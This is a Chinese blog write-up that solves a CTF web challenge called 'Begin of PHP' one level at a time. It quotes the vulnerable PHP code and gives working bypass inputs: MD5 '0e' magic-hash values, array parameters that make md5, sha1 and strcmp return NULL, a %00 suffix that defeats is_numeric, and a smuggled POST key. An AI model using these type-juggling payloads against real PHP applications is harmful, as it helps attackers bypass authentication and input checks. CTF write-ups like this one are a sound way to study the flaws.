Loading

Begin of PHP WP

Begin of PHP WP

这个题目是一个层层递进的关系,首先先看 flag1。

if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
    $flag1 = True;
}else{
    die("nope,this is level 1");
}

要求 key1 与 key2 不相等,但是他们的 md5 哈希要相等。
根据 Hello CTF 中的介绍,选用 \(240610708\)\(314282422\) 可以,他们的 MD5 值都是以 \(0e\) 开头的,最后会被识别为 \(0\)
?key1=240610708&key2=314282422
当 flag1 为 true 后,进行我们的第二个绕过。

if(isset($_POST['key3'])){
    if(md5($_POST['key3']) === sha1($_POST['key3'])){
        $flag2 = True;
    }
}else{
    die("nope,this is level 2");
}

现在是让 key3 的 MD5 哈希值和 sha1 函数值强比较相等,key3 是一个变量,如果我们将 key3 作为数组传入,两边都会返回 NULL, 而 NULL === NULL,即可绕过。
image
flag2 通过后,继续往下看。

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

只要询问的 key4 与 flag 的内容一样即可,但由于我们不知道 flag 是什么,所以要绕过,让 strcmp 返回 0,如果 strcmp 中比较的是数组,则会返回 NULL,利用这个,我们可以绕过,最终让 NULL == 0,成功绕过。
?key1=240610708&key2=314282422&key4[]=a
通过 flag3 后,看下一个绕过。

if(isset($_GET['key5'])){
    if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
        $flag4 = True;
    }else{
        die("nope,this is level 4");
    }
}

现在要绕过 is_numeric,同时要让 key5 > 2023。利用 %00 空字符,绕过 is_numeric, 这里尝试过,只有把 %00 放到数字后面才能绕过成功。
?key1=240610708&key2=314282422&key4[]=a&key5=2024%00
接下来看最后一个绕过。

foreach($_POST as $var){
    if(preg_match("/[a-zA-Z0-9]/",$var)){
        die("nope,this is level 5");
    }
}
if($flag5){
    echo file_get_contents("/flag");
}else{
    die("nope,this is level 5");
}

我们看到,preg_match 函数把大小写字母和数字都禁用了,但是我们注意到 foreach($_POST as $var), 这里只有值,没有键值,所以我们可以让 flag5 作为键值,让一个其他的符号充当 var 即可。
key3[]=1&flag5=_
最后拿到 flag.
image

posted @ 2025-11-02 11:03  yi_fan0305  阅读(3)  评论(0)    收藏  举报